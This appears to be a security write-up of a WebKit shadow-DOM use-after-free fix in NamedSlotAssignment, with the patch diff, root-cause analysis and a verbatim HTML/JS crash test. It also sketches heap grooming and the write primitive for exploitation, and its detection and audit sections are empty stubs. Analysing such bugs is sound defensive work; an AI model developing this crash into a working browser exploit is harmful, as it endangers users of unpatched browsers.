20beac1f6e Use-after-free in NamedSlotAssignment::resolveSlotsAfterSlotMutation
Triage note: ASAN crash test plus re-validating slot assignment before dereferencing slot elements is a clear use-after-free fix.
Contents
The bug at a glance
NamedSlotAssignment drives shadow-DOM slotting, reachable by any page using attachShadow (the default named mode). The patch ships an ASAN crash regression test and fixes a use-after-free where slot map mutation during iteration frees the SlotInfo being dereferenced. Renderer/DOM UAFs of this kind are a common exploitation surface, hence high.
resolveSlotsAfterSlotMutation iterates over m_slots.values() and called hasAssignedNodes(shadowRoot, *slot), which itself re-resolves and mutates m_slots (assignSlots), invalidating the iterators and the SlotInfo pointers being used. The fix hoists the (re)assignment before the loop and replaces the mutating hasAssignedNodes call with a pure slot->assignedNodes.isEmpty() check.
Root cause
When slot-related attributes change under a shadow host, NamedSlotAssignment::resolveSlotsAfterSlotMutation walks m_slots (a HashMap from slot name to a SlotInfo) to reconcile which <slot> element currently owns each name. For slots whose elements were all removed, it needs to know whether any host children were assigned to that name; the old code asked hasAssignedNodes(shadowRoot, *slot).
hasAssignedNodes, when m_slotAssignmentsIsValid is false, triggers assignSlots(shadowRoot) which rebuilds the entire slot->assignedNodes mapping and can insert new SlotInfo entries into m_slots for freshly-seen slot names (e.g. the ’new0’..’new9’ names in the test). Mutating m_slots while a range-based for loop holds iterators into m_slots.values() invalidates those iterators; the slot reference then points into a rehashed/freed HashMap bucket, and the subsequent slot->oldElement = WTF::move(slot->element) / slot->element = nullptr writes through a dangling SlotInfo - a use-after-free.
The fix does two things. First, it materializes the slot assignment up front: if (!m_slotAssignmentsIsValid) assignSlots(shadowRoot); so m_slots is fully populated and stable before the loop begins, and no reassignment happens mid-iteration. Second, inside the loop it replaces the side-effecting hasAssignedNodes call with the pure predicate !slot->assignedNodes.isEmpty(), which only reads the now-current assignedNodes vector and cannot mutate m_slots. Together these guarantee the container is not modified while it is being iterated.
Key code
resolveSlotsAfterSlotMutation: reassign before iterating, use a pure predicate
+ if (!m_slotAssignmentsIsValid)
+ assignSlots(shadowRoot);
+
for (auto& slot : m_slots.values()) {
if (slot->seenFirstElement)
continue;
@@
// All slot elements have been removed for this slot.
slot->seenFirstElement = true;
ASSERT(slot->element);
- if (hasAssignedNodes(shadowRoot, *slot))
+ if (!slot->assignedNodes.isEmpty())
slot->oldElement = WTF::move(slot->element);
slot->element = nullptr;
}
Patch walkthrough
Source/WebCore/dom/SlotAssignment.cpp— In NamedSlotAssignment::resolveSlotsAfterSlotMutation, before thefor (auto& slot : m_slots.values())loop, addif (!m_slotAssignmentsIsValid) assignSlots(shadowRoot);so slot assignments (and any new m_slots entries) are computed once, up front. Inside the loop, the removed-elements branch changes fromif (hasAssignedNodes(shadowRoot, *slot))- which could call assignSlots and mutate m_slots mid-iteration - to the non-mutatingif (!slot->assignedNodes.isEmpty()).LayoutTests/fast/shadow-dom/named-slot-assignment-resolve-after-mutation-crash.html— Added regression test: builds a shadow tree with two same-named slots, adds a host child slotted to that name plus ten host children with fresh slot names not yet in m_slots, then calls container.replaceChildren() to drive resolveSlotsAfterSlotMutation with an invalid assignment. Designed to crash/assert under ASAN pre-patch.LayoutTests/fast/shadow-dom/named-slot-assignment-resolve-after-mutation-crash-expected.txt— Expected output (‘PASS’), asserting no crash/assertion under ASAN.
Background
NamedSlotAssignment — The default (named) slot-assignment strategy for shadow roots. It maintains m_slots, a HashMap keyed by slot name to a SlotInfo describing the owning <slot> element, its assignedNodes, and bookkeeping like seenFirstElement/oldElement, driving where light-DOM children are rendered.
m_slotAssignmentsIsValid / assignSlots — A dirty flag; when a slot attribute changes (didChangeSlot) it is set false. assignSlots(shadowRoot) rebuilds assignedNodes for every slot and can create new SlotInfo entries for slot names newly seen among host children, mutating m_slots.
hasAssignedNodes — A helper that answers whether a slot has any assigned nodes but, crucially, first ensures assignments are valid by calling assignSlots when the dirty flag is set - so it has the side effect of mutating m_slots, which is unsafe to invoke while iterating m_slots.
HashMap iterator invalidation — WTF::HashMap rehashes on insertion; inserting entries during a range-for over values() invalidates the iterator and any reference/pointer obtained from it. Dereferencing the stale SlotInfo (slot->element, slot->assignedNodes) after such a mutation is a use-after-free.
Vulnerability window
- Setup — A shadow host has two <slot name=X> and host children: one slotted to X plus several with fresh slot names, and a slot mutation marks m_slotAssignmentsIsValid = false.
- Trigger — A DOM mutation inside the shadow tree (e.g. container.replaceChildren()) calls resolveSlotsAfterSlotMutation.
- Reentrant mutation — Mid-loop, hasAssignedNodes -> assignSlots rebuilds m_slots and inserts new SlotInfo entries, rehashing the map while the range-for holds iterators into it.
- UAF — The loop’s
slotreference now dangles; slot->oldElement/slot->element writes hit freed HashMap storage (ASAN crash). - Fix — assignSlots is hoisted before the loop and the in-loop check becomes the non-mutating slot->assignedNodes.isEmpty().
Proof of concept
VERBATIM added LayoutTest. It builds a named-slot shadow tree with two same-named slots, adds a host child slotted to X plus ten children with fresh slot names (forcing assignSlots to insert new m_slots entries), invalidates the assignment via the slot mutation, then calls container.replaceChildren() to enter resolveSlotsAfterSlotMutation. Pre-patch, the mid-iteration assignSlots rehashes m_slots and the loop dereferences a freed SlotInfo (ASAN crash); post-patch it prints PASS.
<!DOCTYPE html>
<body>
<p>This tests inserting a bunch of nodes with slot attributes under shadow host.<br>
WebKit should not crash or hit assertions under ASAN, and you should see PASS below:</p>
<script>
globalThis?.testRunner.dumpAsText();
const host = document.createElement('div');
document.body.appendChild(host);
const shadowRoot = host.attachShadow({mode:'open'}); // NamedSlotAssignment (default)
// Shadow tree: shadowRoot -> c -> [slot1(name=X), slot2(name=X)]
const container = document.createElement('div');
shadowRoot.appendChild(container);
const slot1 = document.createElement('slot');
slot1.setAttribute('name','X');
container.appendChild(slot1);
const slot2 = document.createElement('slot');
slot2.setAttribute('name','X');
container.appendChild(slot2);
// Host child with slot='X' -> didChangeSlot('X') -> m_slotAssignmentsIsValid=false
const spanChild = document.createElement('span');
spanChild.setAttribute('slot','X');
host.appendChild(spanChild);
// Many host children with FRESH slot names not in m_slots.
for (let i = 0; i < 10; i++) {
const span = document.createElement('span');
span.setAttribute('slot', 'new' + i);
host.appendChild(span);
}
// Trigger: removeAllChildren on container (inside shadow tree).
container.replaceChildren();
document.write('PASS');
</script>
Exploitation
- Reachability — Pure HTML/JS using standard shadow-DOM APIs; no special configuration. Trivially reachable from a web page.
- Grooming — An attacker controls the number and names of slots and host children, hence the size and rehash behavior of m_slots and the layout of freed SlotInfo storage - the raw material for turning the UAF into controlled reuse.
- Primitive — Write-through-dangling-pointer into freed HashMap storage (slot->oldElement/element). The public artifact is an ASAN crash; a full exploit would require reclaiming the freed SlotInfo bucket with attacker data before the writes, which the test does not demonstrate.
Detection & hunting
For defenders and SOC / detection engineers:
- ASAN heap-use-after-free in resolveSlotsAfterSlotMutation —
- Debug assertion ASSERT(slot->element) —
- Crash telemetry in shadow-DOM slotting —
Audit directions
- Other m_slots iterations —
- Side-effecting predicates in loops —
- assignSlots reentrancy —
- SlotInfo lifetime —